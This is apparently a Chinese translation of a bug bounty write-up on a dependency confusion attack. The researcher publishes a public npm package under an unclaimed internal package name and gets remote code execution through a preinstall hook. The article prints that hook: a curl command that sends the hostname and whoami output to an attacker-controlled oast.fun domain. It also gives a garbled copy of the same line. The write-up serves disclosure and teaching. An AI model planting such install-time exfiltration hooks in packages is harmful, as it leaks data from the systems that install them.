通过供应链发起的RCE攻击
通过供应链发起的RCE攻击
迪哥讲事 2025-02-15 21:31
声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。 |
****# 防走失:https://gugesay.com/archives/3936
**不想错过任何消息?设置星标↓ ↓ ↓
前言
依赖项混乱是一种软件供应链漏洞,当公司的内部软件包从公共存储库(例如NPM)而非私有注册中心时,就会发生这种漏洞。
如果软件包管理器(例如NPM,PIP或其它)默认为从公共源中拉出和具有相同名称的软件包,则极可能发生这种情况。
在依赖项混淆攻击中,攻击者可以创建一个与公司内部软件包同名的恶意软件包,并将其发布到公共注册中心中。
如果公司系统从公共注册中心解析该软件包,就可能下载并执行攻击者的代码,从而导致远程代码执行(RCE)等安全风险。
原流程图
翻译后的流程图
如何确定漏洞
在渗透测试期间,白帽小哥发现目标公司的一个JavaScript文件,并注意到它引用了存储在 /node_modules/@confidential-package-name 。
这表明该公司正在使用内部NPM软件包,检查了该内部软件包是否已在公共NPM注册中心上发布,发现它在NPM上为“无人认领”(
unclaimed)的。
这种无人认领的身份表明任何人都可以创建一个具有相同名称的软件包,并通过欺骗公司的系统从公共NPM注册中心下载和执行代码而不是内部来源来引用依赖项。
如何利用
为了确认该漏洞,白帽小哥使用与内部软件包@confidential-package-name相同的名称创建了一个恶意NPM软件包。
然后,将该软件包发布给了公共NPM注册中心,“嵌入”了在安装时自动执行的预安装脚本。
脚本很简单:
curl — data-urlencode “info=$(hostname && whoami)” http://<attacker-controlled-domain>.oast.funcurl - data-urlencode“ info = $(hostName%26%26 whaami)”
该脚本会将安装软件包的服务器的主机名和用户信息发送到白帽小哥控制的域服务上。
一旦该软件包在NPM可用后,经过耐心等待,在几个小时到几天之内,就会收到该公司生产和非生产环境的多个请求,从而确认他们的系统正在下载和执行恶意软件包。
接收到的多个请求信息
这些请求包含了主机名和用户名之类的详细信息。
请求包含重要信息
获得了这些信息后,就可以提交漏洞报告了。白帽小哥在一天内报告了3个同类漏洞,一周内,漏洞便被接受,小哥也顺利收获了$2,500的赏金奖励。
赏金奖励
如果你是一个长期主义者,欢迎加入我的知识星球,我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款
往期回顾
以上内容由骨哥翻译并整理。
原文:
https://medium.com/@p0lyxena/2-500-bug-bounty-write-up-remote-code-execution-rce-via-unclaimed-node-package-6b9108d10643